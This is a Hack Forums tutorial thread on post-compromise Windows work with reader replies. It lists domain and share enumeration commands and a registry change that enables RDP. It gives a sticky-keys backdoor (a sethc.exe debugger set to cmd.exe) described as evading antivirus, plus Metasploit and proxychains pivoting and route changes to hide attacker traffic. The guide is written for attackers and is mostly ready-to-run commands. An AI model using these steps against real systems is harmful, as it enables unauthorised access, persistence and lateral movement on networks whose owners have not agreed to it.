![]() |
|
Windows Information Gathering and Situational Awareness - Printable Version +- Hack Forums (https://hackforums.net) +-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45) +--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449) +---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4) +----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47) +----- Thread: Windows Information Gathering and Situational Awareness (/showthread.php?tid=5733292) |
Windows Information Gathering and Situational Awareness - CyberStrike - Oct 8, 2017 Windows Information Gathering: This is one of the most important things as there may be several network segments in a target network. One must remember that there are systems on a network that are “multi-homed” or are connected to more than one LAN segment on a target network. In addition an operator must be aware as to what kind of trail they are leaving behind, as this may give a defender information on the attacker. Upon entering a target an operator must get situational awareness. The following tasks must be performed: Windows: Finding out about Windows: Code sysinfoLooking at Network Code ipconfig /allPay attention to devices that may not be active as a machine maybe multi-homed Find the local users Code net userFinding more information on particular user Code net user UsernameFinding more information on local group Code net localgroups GroupNameFinding shares on local host Code net viewFind Domain Code net view /DomainFinding hosts in domain Code net view /Domain:DomainNameFind global groups Code net group “Domain Computers” /DomainMapping of Domain Controllers Code nltest /dclist:domainMapping of Domain Trusts Code nltest /domain trustsTrusts on a Domain can be used to quickly compromise machines for example if Host1 has a trust relationship with Host2, which you already are in you now can log into Host1 based upon that trust. Shares on Domain Code net share \\TargetFinding Name Servers that the target network refrences Code nslookup ServerNameRemote Machine Group and User Enumeration Code net group \\Target GroupNameChecking access to remote machine and issuing commands to a remote machines This command allows you to check the directory of a remote machine and output to file.txt, then copy the file. (If this works you can go shopping for whatever file you want.) Code dir /s /B \\Host\\Share$ >file.txtCode Invoke-NetviewIn Mimikatz there are other PowerShell commands available that can help speed up enumeration. It is strongly suggested that an operator gets familiar with tools before an engagement. Please refer to https://hackforums.net/showthread.php?tid=5732104 Windows RDP: Code reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f Windows Backdooring RDP hijacking stickykeys and Utilman: This technique avoids AV/WhiteListing and is activated when sticky keys are activated. Code REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d “C:\windows\system32\cmd.exe” /fIP Forwarding in Windows Code netshPivoting Pivoting is when using the newly compromised target in order to send traffic from tools on an attackers computer into the target network. Check the network config using ipconfig/ifconfig depending on the OS of the compromised target. In Metasploit: Code run autoroute -h* - Shoe - Oct 8, 2017 Looks solid, paired with RTFM you'd be good to go. * - CyberStrike - Oct 8, 2017 Pivot (Cont) Step 1 In the meterpreter type Code route add 10.10.10.0 255.255.255.0 1The command above will add 10.10.10.1-255 on the subnet of 255.255.255.0 to session 1, of course you want to correspond this example to the network you are targeting. or terminal Code ip route add 192.168.1.0/24 dev eth0Make sure these values reflect your target. In metasploit you will run Code use auxiliary/server/socks4aMake sure this is relevant to your target. Step 2 Edit the ProxyChains /etc/proxychains.conf to reflect the settings based upon the socks4a you pre-conifgured. Code socks4 127.0.0.1 1080Step 3 Running tools in Proxychains Code proxychains nmap -Pn -sT -p445,3389 10.0.0.10For each tool you run that is to be routed through the target network you will re-issue the proxychains command with the tool being used. Code Proxychains firefox 10.0.0.10Now you can surf using firefox to 10.0.0.10 which for example could be a internal server on the target network. You must be Administrator in order to perform these commands on your local machine, if the commands do not work you are not the Administrator. Assuming you are a localhost Administrator which is a must at this juncture, you will be looking for Operating system version, Network information, local user/groups, and global user/groups. Refer to https://hackforums.net/showthread.php?tid=5726592 for priv esc tutorial. Setting up redirects on target machine After compromise we will want to redirect traffic from attackers to target machine within the network. This is used to hide our traffic. Refer to https://hackforums.net/showthread.php?tid=5728866 for Red Team management. Use the following command to get the index Code Get-NetIPInterface -IncludeAllCompartments -InterfaceAlias *Powershell example assuming that the machine compromised is 10.10.10.1 and the next target is 10.10.10.5 . Code New-NetRoute –DestinationPrefix "10.10.10.1" –InterfaceIndex 12 –NextHop 10.10.10.5Adding route in Windows through CMD & registry Code route add 10.0.0.0 mask 255.0.0.0 192.168.0.1 metric 2Using netsh to port forward and getting interface index numbers Code route printRedirection in CMD Code route -p ADD 192.168.35.0 MASK 255.255.255.0 192.168.0.2Registry Routes added by using the -p option are stored in the Windows registry under the following key: Code HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip \Parameters\PersistentRoutesYou also will want to start Routing and Remote Access service. Edit: I forgot a couple of things so I added them. Baud, I was going to post this next week but since you enjoy reading my tutorials I decided to post it early. Hope you enjoy. And thank you Shoe I appreciate the feedback. * - Baud - Oct 11, 2017 High quality thread as usual, I don't have much to add since this covers a lot of different things that are all useful to learn because can come in handy in several situations after having exploited a windows machine. There only are a couple errors related to tags, where you left the description of a command inside code tags, specifically for the "Find local groups" and "One liner edit as per target network" commands, but it's the only thing that I can really point out since the content in itself is very good, definitely a very useful resource for anyone interested in pentesting or hacking. Of course you'd already need to know how windows work to understand what these commands do, but it's to be expected if you look for post exploitation tutorials. * - CyberStrike - Oct 11, 2017 Excellent I will fix the tags when I get a chance no worries there. Thank You * - inkbird - Oct 15, 2017 Wow! This is very usefull info and you've done an excellent job explaining everything. Thanks man. Keep up the good work * - CyberStrike - Oct 15, 2017 Excellent glad you liked it I do have several more Windows geared tutorials, right now I am doing the Linux tutorials. RE: Windows Information Gathering and Situational Awareness - Dimeblade - Jan 9, 2018 Most of these commands very useful for win servers. Again massive thanks for well packed useful infos RE: Windows Information Gathering and Situational Awareness - CyberStrike - Jan 9, 2018 No problem I got several tutorials,although I posted I think one in Advanced Hacking under the "Pentesting and Forensics" section, you can easily find all my threads, there are not too many but give them a read, always good to have others read it either to learn or even just to make sure everything is correct and accurate. RE: Windows Information Gathering and Situational Awareness - surenhohn - Jan 9, 2018 Using windows tools to stop windows spying on you is like asking the NSA to provide tools to stop a NSA-OS (Nsadows) from spying on you. Windoze is for games, youtube, shitter and instashit. Do you freedom fighting and everything you care/need to keep private at least with something remotely secure like some Linux distro. RE: Windows Information Gathering and Situational Awareness - CyberStrike - Jan 9, 2018 (Jan 9, 2018 04:12 PM)surenhohn Wrote: Using windows tools to stop windows spying on you is like asking the NSA to provide tools to stop a NSA-OS (Nsadows) from spying on you. Windoze is for games, youtube, shitter and instashit. Do you freedom fighting and everything you care/need to keep private at least with something remotely secure like some Linux distro. You didn't read anything above have you? Also Windows is what you will during most corporate pentests. Also you should take a bit of time to see how many serious vulnerabilities are found in LInux/*BSD/OSX/WIndows. RE: Windows Information Gathering and Situational Awareness - XmysteriousX - Jan 10, 2018 Nic3 good to know all this code RE: Windows Information Gathering and Situational Awareness - CyberStrike - Jan 10, 2018 I tend to have notes that I compiled over the years probably pushing 50 pages I always am busy referring back and forth to it and then other cheatsheets I put together. |